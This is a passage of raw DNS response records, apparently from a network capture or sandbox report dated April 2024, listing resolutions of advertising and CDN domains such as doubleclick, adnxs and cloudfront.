Apr 28, 2024 00:42:04.454199076 CEST	1.1.1.1	192.168.2.4	0x55b8	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455267906 CEST	1.1.1.1	192.168.2.4	0xff69	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455267906 CEST	1.1.1.1	192.168.2.4	0xff69	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455267906 CEST	1.1.1.1	192.168.2.4	0xff69	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455267906 CEST	1.1.1.1	192.168.2.4	0xff69	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455267906 CEST	1.1.1.1	192.168.2.4	0xff69	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.455889940 CEST	1.1.1.1	192.168.2.4	0x829a	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.764394999 CEST	1.1.1.1	192.168.2.4	0xd00f	No error (0)	googleads.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.764394999 CEST	1.1.1.1	192.168.2.4	0xd00f	No error (0)	googleads.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.764394999 CEST	1.1.1.1	192.168.2.4	0xd00f	No error (0)	googleads.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.764394999 CEST	1.1.1.1	192.168.2.4	0xd00f	No error (0)	googleads.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.764410019 CEST	1.1.1.1	192.168.2.4	0x9e6	No error (0)	googleads.g.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:04.765784979 CEST	1.1.1.1	192.168.2.4	0xe56c	No error (0)	s0.2mdn.net		142.251.163.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.765784979 CEST	1.1.1.1	192.168.2.4	0xe56c	No error (0)	s0.2mdn.net		142.251.163.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.802633047 CEST	1.1.1.1	192.168.2.4	0x8200	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.802731037 CEST	1.1.1.1	192.168.2.4	0x1ca9	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:04.802731037 CEST	1.1.1.1	192.168.2.4	0x1ca9	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.802731037 CEST	1.1.1.1	192.168.2.4	0x1ca9	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.522541046 CEST	1.1.1.1	192.168.2.4	0x2fec	No error (0)	ads.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.523130894 CEST	1.1.1.1	192.168.2.4	0x8d87	No error (0)	ads.rubiconproject.com	digicertwc.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.524599075 CEST	1.1.1.1	192.168.2.4	0xf766	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.524599075 CEST	1.1.1.1	192.168.2.4	0xf766	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.524599075 CEST	1.1.1.1	192.168.2.4	0xf766	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.524599075 CEST	1.1.1.1	192.168.2.4	0xf766	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.704391003 CEST	1.1.1.1	192.168.2.4	0x2b0f	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.704391003 CEST	1.1.1.1	192.168.2.4	0x2b0f	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.704391003 CEST	1.1.1.1	192.168.2.4	0x2b0f	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.705427885 CEST	1.1.1.1	192.168.2.4	0xfb9e	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.705427885 CEST	1.1.1.1	192.168.2.4	0xfb9e	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.705427885 CEST	1.1.1.1	192.168.2.4	0xfb9e	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.705877066 CEST	1.1.1.1	192.168.2.4	0x9244	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.706697941 CEST	1.1.1.1	192.168.2.4	0x3c15	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.706697941 CEST	1.1.1.1	192.168.2.4	0x3c15	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		54.83.59.21	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.706697941 CEST	1.1.1.1	192.168.2.4	0x3c15	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.212.172.141	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.706697941 CEST	1.1.1.1	192.168.2.4	0x3c15	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.219.74.245	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.706697941 CEST	1.1.1.1	192.168.2.4	0x3c15	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.208.135.45	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.707638979 CEST	1.1.1.1	192.168.2.4	0x5f34	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.707992077 CEST	1.1.1.1	192.168.2.4	0x372c	No error (0)	s.amazon-adsystem.com		52.46.155.104	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.709527969 CEST	1.1.1.1	192.168.2.4	0x5f97	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.709527969 CEST	1.1.1.1	192.168.2.4	0x5f97	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.709527969 CEST	1.1.1.1	192.168.2.4	0x5f97	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.709527969 CEST	1.1.1.1	192.168.2.4	0x5f97	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710635900 CEST	1.1.1.1	192.168.2.4	0x7b72	No error (0)	cm.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710635900 CEST	1.1.1.1	192.168.2.4	0x7b72	No error (0)	cm.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710635900 CEST	1.1.1.1	192.168.2.4	0x7b72	No error (0)	cm.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710635900 CEST	1.1.1.1	192.168.2.4	0x7b72	No error (0)	cm.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710917950 CEST	1.1.1.1	192.168.2.4	0xcc46	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710917950 CEST	1.1.1.1	192.168.2.4	0xcc46	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.710917950 CEST	1.1.1.1	192.168.2.4	0xcc46	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:05.943182945 CEST	1.1.1.1	192.168.2.4	0x928f	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:05.943339109 CEST	1.1.1.1	192.168.2.4	0x6a4d	No error (0)	ad.doubleclick.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.943339109 CEST	1.1.1.1	192.168.2.4	0x6a4d	No error (0)	ad.doubleclick.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.041264057 CEST	1.1.1.1	192.168.2.4	0x1a5c	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.041752100 CEST	1.1.1.1	192.168.2.4	0x1da2	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.048909903 CEST	1.1.1.1	192.168.2.4	0x7229	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.048909903 CEST	1.1.1.1	192.168.2.4	0x7229	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.048909903 CEST	1.1.1.1	192.168.2.4	0x7229	No error (0)	dorpat.geo.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.049340010 CEST	1.1.1.1	192.168.2.4	0x834c	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.049340010 CEST	1.1.1.1	192.168.2.4	0x834c	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.049500942 CEST	1.1.1.1	192.168.2.4	0x3d5	No error (0)	rtb-use.mfadsrvr.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.049500942 CEST	1.1.1.1	192.168.2.4	0x3d5	No error (0)	pool-bid-gce-us.dorpat.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.051656008 CEST	1.1.1.1	192.168.2.4	0x2129	No error (0)	rtb-use.hellogenie.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.051656008 CEST	1.1.1.1	192.168.2.4	0x2129	No error (0)	pool-bid-gce-us.dorpat.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.051727057 CEST	1.1.1.1	192.168.2.4	0xe3e1	No error (0)	rtb-use.mfadsrvr.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.052220106 CEST	1.1.1.1	192.168.2.4	0x3391	No error (0)	rtb-use.hellogenie.com	pool-bid-gce-us.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.053137064 CEST	1.1.1.1	192.168.2.4	0xad44	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.053451061 CEST	1.1.1.1	192.168.2.4	0x8d3	No error (0)	qsearch-a.akamaihd.net	qsearch-a.akamaihd.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.054862976 CEST	1.1.1.1	192.168.2.4	0x4234	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.217	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.054862976 CEST	1.1.1.1	192.168.2.4	0x4234	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.054862976 CEST	1.1.1.1	192.168.2.4	0x4234	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.59	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.054862976 CEST	1.1.1.1	192.168.2.4	0x4234	No error (0)	de9a11s35xj3d.cloudfront.net		18.165.94.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.058429003 CEST	1.1.1.1	192.168.2.4	0x562c	No error (0)	warp.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.060249090 CEST	1.1.1.1	192.168.2.4	0x5222	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.140	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.060249090 CEST	1.1.1.1	192.168.2.4	0x5222	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.35	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.060249090 CEST	1.1.1.1	192.168.2.4	0x5222	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.50	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.060249090 CEST	1.1.1.1	192.168.2.4	0x5222	No error (0)	d31otfhas71ais.cloudfront.net		18.160.45.193	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.063740015 CEST	1.1.1.1	192.168.2.4	0xb4dc	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	mcc-cms-s3.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.11.84	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.73	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.167.33	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.28.17	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.198.65	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.106.209	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.071135044 CEST	1.1.1.1	192.168.2.4	0xc492	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.55	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.083672047 CEST	1.1.1.1	192.168.2.4	0xb47e	No error (0)	mcc-cms-s3.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.083672047 CEST	1.1.1.1	192.168.2.4	0xb47e	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.087783098 CEST	1.1.1.1	192.168.2.4	0xc928	No error (0)	hblg.media.net		23.222.200.28	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.405441999 CEST	1.1.1.1	192.168.2.4	0x6236	No error (0)	static.yieldmo.com	dt2usiyxy6j3j.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.405441999 CEST	1.1.1.1	192.168.2.4	0x6236	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.88	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.405441999 CEST	1.1.1.1	192.168.2.4	0x6236	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.44	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.405441999 CEST	1.1.1.1	192.168.2.4	0x6236	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.31	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.405441999 CEST	1.1.1.1	192.168.2.4	0x6236	No error (0)	dt2usiyxy6j3j.cloudfront.net		13.32.208.6	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.406138897 CEST	1.1.1.1	192.168.2.4	0x63f9	No error (0)	static.yieldmo.com	dt2usiyxy6j3j.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.517318010 CEST	1.1.1.1	192.168.2.4	0xc77c	No error (0)	nym1-ib.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.617883921 CEST	1.1.1.1	192.168.2.4	0x1b3f	No error (0)	ad.doubleclick.net		142.251.167.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.617883921 CEST	1.1.1.1	192.168.2.4	0x1b3f	No error (0)	ad.doubleclick.net		142.251.167.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.617948055 CEST	1.1.1.1	192.168.2.4	0x51	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:09.185379982 CEST	1.1.1.1	192.168.2.4	0x19cb	No error (0)	ad.doubleclick.net		172.253.62.149	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.185379982 CEST	1.1.1.1	192.168.2.4	0x19cb	No error (0)	ad.doubleclick.net		172.253.62.148	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.186522961 CEST	1.1.1.1	192.168.2.4	0x6e15	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
Apr 28, 2024 00:42:09.479213953 CEST	1.1.1.1	192.168.2.4	0x4e26	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.479213953 CEST	1.1.1.1	192.168.2.4	0x4e26	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.479213953 CEST	1.1.1.1	192.168.2.4	0x4e26	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.197.140.225	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.204.163.241	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		23.21.115.50	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.232.150.84	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		18.210.93.163	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		18.213.123.14	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.231.63.111	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.480762005 CEST	1.1.1.1	192.168.2.4	0x35f5	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.73.215.229	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554481030 CEST	1.1.1.1	192.168.2.4	0xe197	No error (0)	www.googletagservices.com		172.253.122.155	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554481030 CEST	1.1.1.1	192.168.2.4	0xe197	No error (0)	www.googletagservices.com		172.253.122.156	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554922104 CEST	1.1.1.1	192.168.2.4	0x443b	No error (0)	cdn.adnxs.com	prod.appnexus.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554922104 CEST	1.1.1.1	192.168.2.4	0x443b	No error (0)	prod.appnexus.map.fastly.net		151.101.65.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554922104 CEST	1.1.1.1	192.168.2.4	0x443b	No error (0)	prod.appnexus.map.fastly.net		151.101.129.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554922104 CEST	1.1.1.1	192.168.2.4	0x443b	No error (0)	prod.appnexus.map.fastly.net		151.101.193.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.554922104 CEST	1.1.1.1	192.168.2.4	0x443b	No error (0)	prod.appnexus.map.fastly.net		151.101.1.108	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.366086006 CEST	1.1.1.1	192.168.2.4	0x4580	Name error (3)	y.analytics.yahoo.com	none	none	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.376142025 CEST	1.1.1.1	192.168.2.4	0x66e9	No error (0)	smarttag.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 28, 2024 00:42:10.376192093 CEST	1.1.1.1	192.168.2.4	0x62ac	No error (0)	sync.intentiq.com		52.85.132.68	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.376192093 CEST	1.1.1.1	192.168.2.4	0x62ac	No error (0)	sync.intentiq.com		52.85.132.15	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.376192093 CEST	1.1.1.1	192.168.2.4	0x62ac	No error (0)	sync.intentiq.com		52.85.132.4	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.376192093 CEST	1.1.1.1	192.168.2.4	0x62ac	No error (0)	sync.intentiq.com		52.85.132.46	A (IP address)	IN (0x0001)	false
